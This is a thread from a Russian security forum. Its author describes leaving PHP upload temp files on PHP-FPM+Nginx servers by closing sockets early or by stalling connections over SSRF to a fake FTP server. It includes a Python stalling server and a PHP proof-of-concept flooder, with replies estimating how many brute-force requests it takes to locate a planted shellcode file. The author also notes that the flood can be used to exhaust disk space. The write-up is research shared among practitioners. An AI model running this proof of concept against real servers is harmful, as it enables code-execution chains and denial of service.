Старый 01.02.2018, 16:15   #1
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию [ PHP-FPM+Nginx ] Не совсем временные файлы

Вдохновившись темой Чтение файлов => unserialize !, в частности, вектором эксплуатации через временные файлы, накопал инетерсную особенность упомянутой в названии темы связки.

Как удержать или ликнуть темп файлы на Apache + mod_php, всем давно известно. Поискав подобную информацию про Nginx, ничего путного не нашлось и в части исследований, приходили к мнению, что для этого нужно крашить PHP. Так как код который требовал эксплуатации уязвимости, был достаточно объёмен, я решил покопаться на багтрекере PHP. В следствии чего появилась эта тема. Но, к моему сожалению, ниодин из вариантов мне не подходил Поэтому решил попробовать обойтись своими силами и копнуть тему немного глубже.

В ходе тестов было выявлено, что если задержать выполнение скрипта, к примеру sleep(100), то файлы лежат во временной директории пока скрипт не отработает до конца. Но так как у Nginx по дефолту fastcgi_read_timeout = 60s, то он закрывает соединение раньше, чем PHP что-то ему ответит. Получив SIGPIPE, пых по всей видимости, обижается и уходит не почистив за собой

Но sleep, и тем более в 100 секунд, есть не всегда, а скорее всего такого вообще нигде нет. Прикинув всевозможные варианты, и вернувшись к начальной цели исследования, был опробован вариант удержания коннекта средствами SSRF. Подняв фейковый FTP:

Код:
import socket
import time

def listen():
    connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connection.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    connection.bind(('0.0.0.0', 5555))
    connection.listen(10)
    while True:
        current_connection, address = connection.accept()
        current_connection.send('220 (vsFTPd 2.3.5)\r\n')
        
        while True:
            data = current_connection.recv(2048)
			
            if data:
                current_connection.send(data)
                print data
                time.sleep(2)
                current_connection.shutdown(1)
                current_connection.close()
                break


if __name__ == "__main__":
    try:
        listen()
    except KeyboardInterrupt:
        pass
и опробовав метод, был получен положительный результат (недавний баг с ядовитой гифкой, сработает аналогично).

Вроде всё хорошо, файлы остаются, можно действовать. Но глядя на mkstemp, а точнее на __gen_tempname становится грустно, так как для эксплуатации может потребоваться много времени, как для подбора имени временного файла, так и для прокидывания достаточного колличества нагрузки, не говоря уже о постоянно занятых коннектах сервера.

Поэтому в голову пришла, отчасти, бредовая мысль и заключается она в том, чтобы отправить запрос и сразу закрыть сокет. И, к моему удивлению, всё отработало как часы

PoC:

PHP код:
<?php
    $ssl 
false;
    
$ip '';
    
$host 'localhost';
    
$path '/index.php';
    
$file 'Hey, look at me, I`m a temporary file content.';
    
$scheme = ($ssl 'ssl://' '');
    
$files 20;
    
$requests  10;
    
$gvars 1000;
    
$grepeat 1;
    
$EOL "\r\n";
    
$body '';

    for(
$i 0$i $files$i++){
        
$body.='-----------------------------xxxxxxxxxxxx'.$EOL;
        
$body.='Content-Disposition: form-data; name="future_temporary_file[]"; filename="future_temporary_file"'.$EOL;
        
$body.='Content-Type: text/plain'.$EOL;
        
$body.= $EOL;
        
$body.= $file.$EOL;
    }
    
    for(
$i 0$i $gvars$i++){
        
$body.='-----------------------------xxxxxxxxxxxx'.$EOL;
        
$body.='Content-Disposition: form-data; name="some_garbage['.$i.']"'.$EOL;
        
$body.= str_repeat('A'$grepeat).$EOL;
        
$body.= $EOL;
    }
    
    
$body.='-----------------------------xxxxxxxxxxxx--';
    
    
$header ='POST '.$path.' HTTP/1.1'.$EOL;
    
$header.='Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx'.$EOL;
    
$header.='User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:56.0) Gecko/20160101 Firefox/56.0'.$EOL;
    
$header.='Host: '.$host.$EOL;
    
$header.='Content-Length: '.strlen($body).$EOL;
    
$header.='Connection: close'.$EOL.$EOL;
    
    echo 
$EOL.($requests $files).' files will be sent to '.$host.$EOL.$EOL;
    
    for(
$i 1$i <= $requests$i++){
        echo 
'Sending files #'.$i.'    ';
        
$fp stream_socket_client($scheme.($ip $ip $host).':'.($scheme 443 80), $errno$errstr30);
        
fwrite($fp$header.$body);
        
stream_socket_shutdown($fpSTREAM_SHUT_RDWR);
        
fclose($fp);
        echo 
'OK'.$EOL;
        
usleep(10000);
    }   
?>
В этом случае коннекты не занимаются и за короткий промежуток времени можно загрузить достаточное количество файлов для дальнейшего успешного подбора.

Ну и побочный эффект, которй присутствует при неограниченной загрузке файлов, можно вызвать неожиданный DoS разных сервисов системы, забив всё дисковое пространство выделенное для временной директории.

Так же, интересным моментом является то, что файла скрипта может не быть вообще, если Nginx дернет PHP этого будет достаточно, так как разбор запроса происходит до того как пых статнет файл. Поэтому, в случае c ssl, может потребоваться передача большего количества мусора, дабы занять PHP, так как Nginx в этом случае отрабатывает немного дольше.

В случае посредника между Nginx и клиентом, метод не работает.

Положительный результат был получен на:

Код:
PHP 7.2.1  + nginx/1.10.3 (SOCK/Linux)
PHP 7.1.12 + nginx/1.13.7 (TCP/Linux)
PHP 5.6.32 + nginx/1.10.3 (SOCK/Linux)
PHP 5.6.30 + nginx/1.1.19 (SOCK/Linux)
PHP 5.4.45 + nginx/1.2.1 (SOCK/Linux)
PHP 5.4.39 + nginx/1.2.1 (SOCK/Linux)
Других систем в наличии нет, поэтому буду признателен за дополнительные тесты. Очень интересно как FPM ведёт себя в связке с Apache, IIS и на других ОС.

Последний раз редактировалось crlf; 02.02.2018 в 18:28..
crlf вне форума   Ответить с цитированием
Старый 06.02.2018, 23:09   #2
Beched
 
Регистрация: 06.07.2010
Сообщений: 403
Репутация: 118
По умолчанию

А какие на практике результаты по кол-ву запросов и кол-ву файлов, которые нужно залить?
Если прикинуть комбинаторно, получается, что, создав 100к файлов (которые можно создавать массово сразу много одним запросом), можно потом найти шеллкод с вероятностью 99.3+% 1М запросов.
Beched вне форума   Ответить с цитированием
Старый 06.02.2018, 23:51   #3
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию

К сожалению, дойдя до практичекой части, выяснилось что метод не подходит для вектора unserialize через phar
Полным перебором не пробовал. На тестах, при 200к файлов, было достаточно меньше ~14к запросов по маске phpXXXABC.
crlf вне форума   Ответить с цитированием
Старый 07.02.2018, 15:25   #4
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию

Цитата:
Сообщение от crlf Посмотреть сообщение
меньше ~14к запросов по маске phpXXXABC
Немного зафейлил, этот момент, правдив только для моего случая, когда приложение принимает max_input_vars и перебирает все значения.
В стандарных условиях, получается <14кк
crlf вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot